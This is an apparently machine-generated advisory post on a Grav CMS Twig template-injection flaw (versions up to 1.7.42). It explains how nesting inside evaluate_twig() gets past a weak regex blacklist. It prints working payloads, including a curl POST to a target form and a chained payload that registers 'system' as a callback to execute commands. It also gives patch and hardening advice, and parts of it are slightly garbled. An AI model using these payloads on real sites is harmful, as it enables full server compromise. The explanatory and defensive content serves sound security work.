Listen to this Post
The vulnerability exists in the `cleanDangerousTwig()` method in /system/src/Grav/Common/Security.php. This method uses a weak regular expression to blacklist dangerous Twig functions like `registerUndefinedFunctionCallback` and twig.getFunction. However, the regex pattern `/(({{\s|{%\s)[^}]?(bad_function)[^}]?(\s}}|\s%}))/i` fails to account for nested function calls. An attacker can bypass the filter by wrapping the blacklisted function inside an allowed function like evaluate_twig(). For example, the payload `{{ evaluate_twig(“{{ grav.twig.twig.registerUndefinedFunctionCallback(‘system’) }}”) }}` passes the sanitizer because the inner `{{ … }}` block containing the blacklisted function is not at the top level of the regex match. When the `Twig->processString()` method executes this payload, it first evaluates the outer `evaluate_twig()` function, which then processes the inner, unfiltered malicious Twig code. This allows the attacker to register a callback (like system) and call it via twig.getFunction(), leading to arbitrary code execution on the underlying server with the web server’s privileges.
Platform: Grav CMS
Version: <=1.7.42
Vulnerability: SSTI RCE
Severity: Critical
date: 2023-04-11
Prediction: Patched 2023-04-11
What Undercode Say:
curl -X POST "http://target/form" --data "name={{ evaluate_twig(\"{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }}\") }}"
// PoC Sanitizer Bypass Test
echo preg_replace('/(({{\s|{%\s)[^}]?(registerUndefinedFunctionCallback)[^}]?(\s}}|\s%}))/i', '{ $1 }', "{{ evaluate_twig(\"{{ registerUndefinedFunctionCallback('system') }}\") }}");
How Exploit:
- Authenticated editor creates/form with malicious `message` action in `process` section via broken access control.
- Payload: `{{ evaluate_twig(“{{ grav.twig.twig.registerUndefinedFunctionCallback(‘system’) }} {% set a = grav.config.set(‘system.twig.undefined_functions’,false) %} {{ grav.twig.twig.getFunction(‘id’) }}”) }}`
3. Submit form with payload as input to trigger command execution.
Protection from this CVE
- Update to Grav 1.7.43.
- Implement strong input validation.
- Disable `evaluate_twig` filter.
- Apply principle of least privilege.
Impact:
Full server compromise, data theft, privilege escalation, backdoor installation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
